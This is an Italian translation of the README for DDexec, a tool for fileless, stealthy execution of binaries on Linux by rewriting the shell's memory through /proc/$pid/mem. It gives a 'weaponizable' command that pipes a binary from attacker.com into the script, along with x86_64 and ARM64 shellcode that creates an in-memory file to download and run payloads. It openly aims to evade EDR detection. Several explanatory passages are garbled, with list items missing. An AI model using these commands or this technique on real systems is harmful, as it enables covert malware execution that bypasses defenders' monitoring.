
Una tecnica per eseguire binari in modo senza file e furtivo su Linux "sovrascrivendo" il processo della shell con un altro.
Ho aggiornato DDexec così tanto che è ormai irriconoscibile: l'analisi dell'ELF è ora eseguita da codice macchina invece che dallo script shell, rendendolo molto più veloce, affidabile e comprensibile. Ha anche ridotto le sue dipendenze al minimo assoluto.
Inoltre ora dipende a malapena dall'aritmetica della shell, il che potrebbe farlo funzionare su Android.
In Linux, per eseguire un programma, esso deve esistere come file, deve essere accessibile in qualche modo attraverso la gerarchia del filesystem (è così che funziona execve()). Questo file può risiedere su disco o in RAM (tmpfs, memfd), ma hai bisogno di un percorso file. Questo ha reso molto facile controllare cosa viene eseguito su un sistema Linux, rende facile rilevare minacce e strumenti degli attaccanti o impedire loro di tentare di eseguire qualsiasi cosa di proprio (es. non permettendo agli utenti non privilegiati di posizionare file eseguibili da nessuna parte).
Bene, se non puoi avviare il processo che desideri... allora dirotti e torturi uno già esistente finché non soddisfa i tuoi desideri.
Pipinga il binario che vuoi eseguire nello script ddexec.sh. Gli argomenti per lo script sono gli argomenti per il programma (a partire da argv[0]).
Ecco, prova questo:
bash ddexec.sh ls -lA < /bin/ls
che è facilmente weaponizzabile con qualcosa come:
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
C'è anche lo script ddsc.sh che permette di eseguire direttamente codice macchina.
Il seguente è un esempio dell'uso di uno shellcode che creerà un memfd (un descrittore di file che punta a un file in memoria) a cui possiamo successivamente scrivere binari ed eseguirli, dalla memoria ovviamente.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
Su ARM64 il processo è lo stesso.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
Le distribuzioni Linux testate sono Debian, Alpine e Arch. Le shell supportate sono bash, zsh e ash (busybox); sulle architetture x86_64 e aarch64 (arm64).
A partire dal 12/12/2022 ho trovato alcune alternative a dd, una delle quali, tail, è attualmente il programma predefinito usato per lseek() attraverso il file mem (che era l'unico scopo dell'uso di dd). Dette alternative sono:
tail
hexdump
cmp
xxd
Impostando la variabile SEEKER puoi cambiare il seeker utilizzato, es.:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Se trovi un altro seeker valido non implementato nello script, puoi comunque usarlo impostando la variabile SEEKER_ARGS:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
Blocca questo, EDR.
Questo script dipende dai seguenti strumenti per funzionare.
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | qualsiasi altro programma che ci permetta di cercare attraverso un fd
Nel caso di ash, tail, dd, hexdump, cmp e xxd sono built-in, quindi non sono effettivamente una dipendenza.
Nota: Funziona solo su versioni moderne di busybox, non sono sicuro della versione più vecchia, non l'ho verificata. So che funziona su v1.35.0, ma non su v1.30.0.
Se sei in grado di modificare arbitrariamente la memoria di un processo, allora puoi prenderne il controllo. Questo può essere usato per dirottare un processo già esistente e sostituirlo con un altro programma. Possiamo ottenere ciò usando la syscall ptrace() (che richiede la capacità di eseguire syscall o di avere gdb disponibile sul sistema) o, più interessante, scrivendo su /proc/$pid/mem.
Il file /proc/$pid/mem è una mappatura uno-a-uno dello spazio degli indirizzi in userland di un processo (es. da 0x0 a 0x7ffffffffffff000 su x86-64). Ciò significa che leggere o scrivere su questo file a un offset x equivale a leggere o modificare i contenuti all'indirizzo virtuale x.
Ora, abbiamo tre problemi di base da affrontare:
Ma abbiamo soluzioni intelligenti:
mem della shell con permessi di scrittura... così i processi figli che usano quel fd saranno in grado di modificare la memoria della shell.maps della shell dal procfs per ottenere informazioni sul layout degli indirizzi del processo.lseek() sul file. Dalla shell questo può essere fatto usando alcuni binari comuni, come tail o il famigerato dd, vedi la sezione EverythingExec per maggiori informazioni.I passaggi sono relativamente facili e non richiedono alcuna competenza per essere compresi:
/proc/$pid/syscall l'indirizzo a cui il processo tornerà dopo la syscall che sta attualmente eseguendo — poiché stiamo leggendo questo file, detta syscall sarà read(), e l'indirizzo sarà nel wrapper di read() della libc. Questo serve solo per ottenere un posto dove il nostro stager sarà trovato a breve.mem possiamo modificare pagine non scrivibili). Detto stager leggerà ed eseguirà uno shellcode più grande.execve():
Lo shellcode è stato generato compilando loader.c, e modificando il suo assembly per rimuovere e semplificare molti artefatti introdotti dal compilatore.
Beh, ci sono un paio di TODO. Oltre a questo, potresti aver notato che non so molto di scripting shell (io sono più un programmatore C) e sono sicuro di aver vinto un decennio di premi "useless use of a cat" — nessun gatto è stato danneggiato nella creazione di questo strumento — e il resto delle varianti solo con una frazione di questo progetto.
— Portare ad altre shell — al limite dovremmo rendere lo script POSIX compliant.
Comunque, sentiti libero di forkare e fare PR. Ma per favore, quando contribuisci tieni presente che le PR che lo fanno smettere di funzionare sulle shell supportate non saranno accettate, questo non è contribuire, è solo rompere le cose. Sarebbe meglio se le tue modifiche fossero POSIX compliant.
Solo... per favore, per favore, per favore, controlla il tuo codice e verifica che funzioni sulle shell supportate almeno su Debian e Alpine. Sono solo un paio di docker.
Dopo aver pubblicato questo strumento, ho scoperto che Sektor7 aveva già pubblicato questa tecnica quasi identica sul loro blog alcuni anni fa.
Nonostante ciò, ho pensato a questa tecnica in modo indipendente, ora quasi interamente. Probabilmente la parte più intelligente di questa tecnica è l'uso del descrittore di file ereditato, idea fornita da David Buchanan (ispirata dal blog di Sektor7) quasi un anno prima che iniziassi a pensare a questo argomento. Da sola, questo non solo rende la tecnica molto più semplice e pulita, la rende anche molto più letale eliminando la necessità di disabilitare ASLR.
In ogni caso, spero di riuscire a diffondere questa tecnica molto di più, che è ciò che conta.
Vorrei ringraziare Carlos Polop, un grande pentester e miglior amico, per avermi fatto pensare a questo argomento, e per il suo utile feedback e interesse, oh e gli devo anche il nome del progetto. Sono sicuro che se stai leggendo questo, hai già usato il suo fantastico strumento PEASS e hai trovato utile qualche articolo nel suo libro HackTricks.
Puoi:
mem.Puoi contattarmi su Twitter.